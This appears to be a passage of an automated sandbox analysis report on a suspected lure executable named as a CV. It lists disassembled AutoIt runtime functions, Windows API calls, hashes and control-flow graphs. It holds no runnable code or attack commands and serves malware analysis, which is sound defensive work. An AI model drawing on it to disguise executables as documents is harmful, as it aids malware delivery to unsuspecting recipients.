1112 b3dee3-b3def7 call b3e00c 1104->1112 1113 b3df31-b3df3b GetSystemInfo 1104->1113 1105->1104 1127 b3dec3 1105->1127 1106->1088 1107->1088 1108->1088 1109->1088 1114 b924bd-b924c3 1110->1114 1115 b924b5-b924b8 1110->1115 1122 b3df29-b3df2f GetSystemInfo 1112->1122 1123 b3def9-b3df01 call b3dff4 GetNativeSystemInfo 1112->1123 1117 b3df0e-b3df1a 1113->1117 1114->1088 1115->1088 1119 b3df21-b3df26 1117->1119 1120 b3df1c-b3df1f FreeLibrary 1117->1120 1120->1119 1126 b3df03-b3df07 1122->1126 1123->1126 1126->1117 1129 b3df09-b3df0c FreeLibrary 1126->1129 1127->1104 1129->1117
                                                                  APIs
                                                                  • GetVersionExW.KERNEL32(?), ref: 00B3DDEC
                                                                  • GetCurrentProcess.KERNEL32(00000000,00BBDC38,?,?), ref: 00B3DEAC
                                                                  • GetNativeSystemInfo.KERNELBASE(?,00BBDC38,?,?), ref: 00B3DF01
                                                                  • FreeLibrary.KERNEL32(00000000,?,?), ref: 00B3DF0C
                                                                  • FreeLibrary.KERNEL32(00000000,?,?), ref: 00B3DF1F
                                                                  • GetSystemInfo.KERNEL32(?,00BBDC38,?,?), ref: 00B3DF29
                                                                  • GetSystemInfo.KERNEL32(?,00BBDC38,?,?), ref: 00B3DF35
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion
                                                                  • String ID:
                                                                  • API String ID: 3851250370-0
                                                                  • Opcode ID: c1060991e98f471119ecea46df11aebd4768b34cb907d2b1ccfef5f184f1b374
                                                                  • Instruction ID: 46b0d791af83a975db02f0de1ff10bc261469151899c4bf1a0da1ff05b72a039
                                                                  • Opcode Fuzzy Hash: c1060991e98f471119ecea46df11aebd4768b34cb907d2b1ccfef5f184f1b374
                                                                  • Instruction Fuzzy Hash: 606180B190A294DBCF15CF68A8C15E97FF4AF2A300F2949E9D8459F347C634CA09CB65
                                                                  Function 00B2406B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 1147 b2406b-b24083 CreateStreamOnHGlobal 1148 b240a3-b240a6 1147->1148 1149 b24085-b2409c FindResourceExW 1147->1149 1150 b240a2 1149->1150 1151 b94f16-b94f25 LoadResource 1149->1151 1150->1148 1151->1150 1152 b94f2b-b94f39 SizeofResource 1151->1152 1152->1150 1153 b94f3f-b94f4a LockResource 1152->1153 1153->1150 1154 b94f50-b94f6e 1153->1154 1154->1150
                                                                  APIs
                                                                  • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00B2449E,?,?,00000000,00000001), ref: 00B2407B
                                                                  • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00B2449E,?,?,00000000,00000001), ref: 00B24092
                                                                  • LoadResource.KERNEL32(?,00000000,?,?,00B2449E,?,?,00000000,00000001,?,?,?,?,?,?,00B241FB), ref: 00B94F1A
                                                                  • SizeofResource.KERNEL32(?,00000000,?,?,00B2449E,?,?,00000000,00000001,?,?,?,?,?,?,00B241FB), ref: 00B94F2F
                                                                  • LockResource.KERNEL32(00B2449E,?,?,00B2449E,?,?,00000000,00000001,?,?,?,?,?,?,00B241FB,00000000), ref: 00B94F42
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                                  • String ID: SCRIPT
                                                                  • API String ID: 3051347437-3967369404
                                                                  • Opcode ID: d98b7abaa2139711ef2aa3220adf2b2d83dd8c83f524ac5484878d87743ade8d
                                                                  • Instruction ID: 7932088f0a27b1763b5cdfad36eb403cbe6ef9a2b6ff39fd05ed711b24860199
                                                                  • Opcode Fuzzy Hash: d98b7abaa2139711ef2aa3220adf2b2d83dd8c83f524ac5484878d87743ade8d
                                                                  • Instruction Fuzzy Hash: 5F112E71200711AFE7218B65EC49FA77BB9EBCAB51F20816CF6169B660DB71DC44CA20
                                                                  Function 00B66CA9 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetFileAttributesW.KERNELBASE(?,00B92F49), ref: 00B66CB9
                                                                  • FindFirstFileW.KERNELBASE(?,?), ref: 00B66CCA
                                                                  • FindClose.KERNEL32(00000000), ref: 00B66CDA
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: FileFind$AttributesCloseFirst
                                                                  • String ID:
                                                                  • API String ID: 48322524-0
                                                                  • Opcode ID: d83f50e492572a764bf119fb27ee384c8ac472cb8d19e41294a8cd32cb34b10b
                                                                  • Instruction ID: 88df39efa5bcaceef0a2c98e91a0d5dee0fe12c60b5061c12317af9baefc172d
                                                                  • Opcode Fuzzy Hash: d83f50e492572a764bf119fb27ee384c8ac472cb8d19e41294a8cd32cb34b10b
                                                                  • Instruction Fuzzy Hash: 74E0DF31810810ABC2206738EC0E8EA37ACEA0A339F10474AF872D21E0EF74DD1486D6
                                                                  Function 00B33B70 Relevance: 2.2, Strings: 1, Instructions: 903COMMON
                                                                  Download Yara Rule
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Exception@8Throwstd::exception::exception
                                                                  • String ID: @
                                                                  • API String ID: 3728558374-2766056989
                                                                  • Opcode ID: fd0dc9c3588dea129d6d1526eeb197e40480f12149d40d45845e5206d996b3f7
                                                                  • Instruction ID: 772aff7ffc6c528556466ebd005ae2b2d2fa43e71ae6fe0e31ad2de2180ace91
                                                                  • Opcode Fuzzy Hash: fd0dc9c3588dea129d6d1526eeb197e40480f12149d40d45845e5206d996b3f7
                                                                  • Instruction Fuzzy Hash: 9872A074E042099FCF14DF98C481ABEB7F5EF48700F2480EAE919AB251DB75AE45CB91
                                                                  Function 00B33200 Relevance: 1.0, Instructions: 986COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: BuffCharUpper
                                                                  • String ID:
                                                                  • API String ID: 3964851224-0
                                                                  • Opcode ID: 2b66d22a5b154fa7a0937bc144486440754ec69520588b4e68f6cd62fb9a3dd9
                                                                  • Instruction ID: 66642ba221866589d8e0ab6c1e3f21c6b5cdf1f19750f9c2c269ddaa9156d7ee
                                                                  • Opcode Fuzzy Hash: 2b66d22a5b154fa7a0937bc144486440754ec69520588b4e68f6cd62fb9a3dd9
                                                                  • Instruction Fuzzy Hash: 119249706083419FD724DF18C480B6BBBE1FF88704F2488ADE99A8B262D775ED45CB52
                                                                  Function 00B2E8D0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 816windowsleeptimeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B2E959
                                                                  • timeGetTime.WINMM ref: 00B2EBFA
                                                                  • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B2ED2E
                                                                  • TranslateMessage.USER32(?), ref: 00B2ED3F
                                                                  • DispatchMessageW.USER32(?), ref: 00B2ED4A
                                                                  • LockWindowUpdate.USER32(00000000), ref: 00B2ED79
                                                                  • DestroyWindow.USER32 ref: 00B2ED85
                                                                  • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B2ED9F
                                                                  • Sleep.KERNEL32(0000000A), ref: 00B95270
                                                                  • TranslateMessage.USER32(?), ref: 00B959F7
                                                                  • DispatchMessageW.USER32(?), ref: 00B95A05
                                                                  • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B95A19
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
                                                                  • String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
                                                                  • API String ID: 2641332412-570651680
                                                                  • Opcode ID: 024801fb8ae925c04e9de67b774017bde4cad13e21f8fa562b7090e438d10fc1
                                                                  • Instruction ID: a1987566e6ca79fb1246a4dbeac8fc0741347b0be311dc00639982d4901d5d66
                                                                  • Opcode Fuzzy Hash: 024801fb8ae925c04e9de67b774017bde4cad13e21f8fa562b7090e438d10fc1
                                                                  • Instruction Fuzzy Hash: 8A62DE70508350DFEB25DF24D885BAA77E4FF44300F1448BDE99A8B292DB74E848CB62
                                                                  Function 00B55C78 Relevance: 47.9, APIs: 26, Strings: 1, Instructions: 626fileCOMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • ___createFile.LIBCMT ref: 00B55EC3
                                                                  • ___createFile.LIBCMT ref: 00B55F04
                                                                  • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00B55F2D
                                                                  • __dosmaperr.LIBCMT ref: 00B55F34
                                                                  • GetFileType.KERNELBASE(00000000,?,?,?,?,?,00000000,00000109), ref: 00B55F47
                                                                  • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00B55F6A
                                                                  • __dosmaperr.LIBCMT ref: 00B55F73
                                                                  • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00B55F7C
                                                                  • __set_osfhnd.LIBCMT ref: 00B55FAC
                                                                  • __lseeki64_nolock.LIBCMT ref: 00B56016
                                                                  • __close_nolock.LIBCMT ref: 00B5603C
                                                                  • __chsize_nolock.LIBCMT ref: 00B5606C
                                                                  • __lseeki64_nolock.LIBCMT ref: 00B5607E
                                                                  • __lseeki64_nolock.LIBCMT ref: 00B56176
                                                                  • __lseeki64_nolock.LIBCMT ref: 00B5618B
                                                                  • __close_nolock.LIBCMT ref: 00B561EB
                                                                    • Part of subcall function 00B4EA9C: CloseHandle.KERNELBASE(00000000,00BCEEF4,00000000,?,00B56041,00BCEEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00B4EAEC
                                                                    • Part of subcall function 00B4EA9C: GetLastError.KERNEL32(?,00B56041,00BCEEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00B4EAF6
                                                                    • Part of subcall function 00B4EA9C: __free_osfhnd.LIBCMT ref: 00B4EB03
                                                                    • Part of subcall function 00B4EA9C: __dosmaperr.LIBCMT ref: 00B4EB25
                                                                    • Part of subcall function 00B47C0E: __getptd_noexit.LIBCMT ref: 00B47C0E
                                                                  • __lseeki64_nolock.LIBCMT ref: 00B5620D
                                                                  • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00B56342
                                                                  • ___createFile.LIBCMT ref: 00B56361
                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00B5636E
                                                                  • __dosmaperr.LIBCMT ref: 00B56375
                                                                  • __free_osfhnd.LIBCMT ref: 00B56395
                                                                  • __invoke_watson.LIBCMT ref: 00B563C3
                                                                  • __wsopen_helper.LIBCMT ref: 00B563DD
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
                                                                  • String ID: @
                                                                  • API String ID: 3896587723-2766056989
                                                                  • Opcode ID: c2f407a7e7befcbc2e25f1315f8f49937ff162524da92ade110a166d434df339
                                                                  • Instruction ID: 2afb76c928c45cd90a73327af281e477b29f07a7e97b59705de6dac8ca6298e2
                                                                  • Opcode Fuzzy Hash: c2f407a7e7befcbc2e25f1315f8f49937ff162524da92ade110a166d434df339
                                                                  • Instruction Fuzzy Hash: 0E2238719006059BEF259F68CC95BBD7BF1EB00322F6842E9ED119B2E2C7358E48D751
                                                                  Function 00B6FA0C Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 238COMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  APIs
                                                                  • _wcscpy.LIBCMT ref: 00B6FA96
                                                                  • _wcschr.LIBCMT ref: 00B6FAA4
                                                                  • _wcscpy.LIBCMT ref: 00B6FABB
                                                                  • _wcscat.LIBCMT ref: 00B6FACA
                                                                  • _wcscat.LIBCMT ref: 00B6FAE8
                                                                  • _wcscpy.LIBCMT ref: 00B6FB09
                                                                  • __wsplitpath.LIBCMT ref: 00B6FBE6
                                                                  • _wcscpy.LIBCMT ref: 00B6FC0B
                                                                  • _wcscpy.LIBCMT ref: 00B6FC1D
                                                                  • _wcscpy.LIBCMT ref: 00B6FC32
                                                                  • _wcscat.LIBCMT ref: 00B6FC47
                                                                  • _wcscat.LIBCMT ref: 00B6FC59
                                                                  • _wcscat.LIBCMT ref: 00B6FC6E
                                                                    • Part of subcall function 00B6BFA4: _wcscmp.LIBCMT ref: 00B6C03E
                                                                    • Part of subcall function 00B6BFA4: __wsplitpath.LIBCMT ref: 00B6C083
                                                                    • Part of subcall function 00B6BFA4: _wcscpy.LIBCMT ref: 00B6C096
                                                                    • Part of subcall function 00B6BFA4: _wcscat.LIBCMT ref: 00B6C0A9
                                                                    • Part of subcall function 00B6BFA4: __wsplitpath.LIBCMT ref: 00B6C0CE
                                                                    • Part of subcall function 00B6BFA4: _wcscat.LIBCMT ref: 00B6C0E4
                                                                    • Part of subcall function 00B6BFA4: _wcscat.LIBCMT ref: 00B6C0F7
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
                                                                  • String ID: >>>AUTOIT SCRIPT<<<
                                                                  • API String ID: 2955681530-2806939583
                                                                  • Opcode ID: cc8a2beca85e4c3ee4fa1db3caea42047d41cfcdffee28a42e1247c1ea17ddcd
                                                                  • Instruction ID: 0c0ccaf42ff3f092772a5de54079ea91a43b245694e5b438b8095ab6ea3a4490
                                                                  • Opcode Fuzzy Hash: cc8a2beca85e4c3ee4fa1db3caea42047d41cfcdffee28a42e1247c1ea17ddcd
                                                                  • Instruction Fuzzy Hash: A491A472504305AFCB10EB54D891EAAB3E8FF44310F0448ADF94997292DB34EA48CB96
                                                                  Function 00B23F53 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  APIs
                                                                  • GetSysColorBrush.USER32(0000000F), ref: 00B23F86
                                                                  • RegisterClassExW.USER32(00000030), ref: 00B23FB0
                                                                  • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00B23FC1
                                                                  • InitCommonControlsEx.COMCTL32(?), ref: 00B23FDE
                                                                  • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00B23FEE
                                                                  • LoadIconW.USER32(000000A9), ref: 00B24004
                                                                  • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00B24013
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                  • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                  • API String ID: 2914291525-1005189915
                                                                  • Opcode ID: b09ef64d1b3923254ba565cf67b82cdca550f89e152f78413dc98e9657918ea3
                                                                  • Instruction ID: ea9350f87ef246d84c920c5301e1d06a57c844b3230e576114c27c40280eca90
                                                                  • Opcode Fuzzy Hash: b09ef64d1b3923254ba565cf67b82cdca550f89e152f78413dc98e9657918ea3
                                                                  • Instruction Fuzzy Hash: CF21C4B5900358AFDB10DFA8E88ABCDBBB4FB09700F10461AF611AB2A0DBB445448F91
                                                                  Function 00B6BFA4 Relevance: 18.3, APIs: 12, Instructions: 316fileCOMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  APIs
                                                                    • Part of subcall function 00B6BDB4: __time64.LIBCMT ref: 00B6BDBE
                                                                    • Part of subcall function 00B24517: _fseek.LIBCMT ref: 00B2452F
                                                                  • __wsplitpath.LIBCMT ref: 00B6C083
                                                                    • Part of subcall function 00B41DFC: __wsplitpath_helper.LIBCMT ref: 00B41E3C
                                                                  • _wcscpy.LIBCMT ref: 00B6C096
                                                                  • _wcscat.LIBCMT ref: 00B6C0A9
                                                                  • __wsplitpath.LIBCMT ref: 00B6C0CE
                                                                  • _wcscat.LIBCMT ref: 00B6C0E4
                                                                  • _wcscat.LIBCMT ref: 00B6C0F7
                                                                  • _wcscmp.LIBCMT ref: 00B6C03E
                                                                    • Part of subcall function 00B6C56D: _wcscmp.LIBCMT ref: 00B6C65D
                                                                    • Part of subcall function 00B6C56D: _wcscmp.LIBCMT ref: 00B6C670
                                                                  • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00B6C2A1
                                                                  • DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00B6C338
                                                                  • CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00B6C34E
                                                                  • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B6C35F
                                                                  • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B6C371
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath$Copy__time64__wsplitpath_helper_fseek_wcscpy
                                                                  • String ID:
                                                                  • API String ID: 2378138488-0
                                                                  • Opcode ID: 57cba09370bd7ab8881b4dc875514134062c3af22046641ceb1a1f02a59c588d
                                                                  • Instruction ID: dc52f08b6c3a8865fd74378dd07472ebd71d3dc847c0422914b7c0186a6cda8a
                                                                  • Opcode Fuzzy Hash: 57cba09370bd7ab8881b4dc875514134062c3af22046641ceb1a1f02a59c588d
                                                                  • Instruction Fuzzy Hash: AAC11BB1E00229AADF11DF95CC81EEEBBF9EF55300F0040E6E649E6251DB749A848F65
                                                                  Function 00B23742 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 957 b23742-b23762 959 b237c2-b237c4 957->959 960 b23764-b23767 957->960 959->960 961 b237c6 959->961 962 b237c8 960->962 963 b23769-b23770 960->963 964 b237ab-b237b3 DefWindowProcW 961->964 965 b91e00-b91e2e call b22ff6 call b3e312 962->965 966 b237ce-b237d1 962->966 967 b23776-b2377b 963->967 968 b2382c-b23834 PostQuitMessage 963->968 975 b237b9-b237bf 964->975 1004 b91e33-b91e3a 965->1004 969 b237d3-b237d4 966->969 970 b237f6-b2381d SetTimer RegisterWindowMessageW 966->970 972 b91e88-b91e9c call b64ddd 967->972 973 b23781-b23783 967->973 974 b237f2-b237f4 968->974 976 b237da-b237ed KillTimer call b23847 call b2390f 969->976 977 b91da3-b91da6 969->977 970->974 979 b2381f-b2382a CreatePopupMenu 970->979 972->974 998 b91ea2 972->998 980 b23836-b23840 call b3eb83 973->980 981 b23789-b2378e 973->981 974->975 976->974 983 b91da8-b91daa 977->983 984 b91ddc-b91dfb MoveWindow 977->984 979->974 999 b23845 980->999 987 b91e6d-b91e74 981->987 988 b23794-b23799 981->988 991 b91dcb-b91dd7 SetFocus 983->991 992 b91dac-b91daf 983->992 984->974 987->964 994 b91e7a-b91e83 call b5a5f3 987->994 996 b91e58-b91e68 call b655bd 988->996 997 b2379f-b237a5 988->997 991->974 992->997 1000 b91db5-b91dc6 call b22ff6 992->1000 994->964 996->974 997->964 997->1004 998->964 999->974 1000->974 1004->964 1008 b91e40-b91e53 call b23847 call b24ffc 1004->1008 1008->964
                                                                  APIs
                                                                  • DefWindowProcW.USER32(?,?,?,?), ref: 00B237B3
                                                                  • KillTimer.USER32(?,00000001), ref: 00B237DD
                                                                  • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00B23800
                                                                  • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00B2380B
                                                                  • CreatePopupMenu.USER32 ref: 00B2381F
                                                                  • PostQuitMessage.USER32(00000000), ref: 00B2382E
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
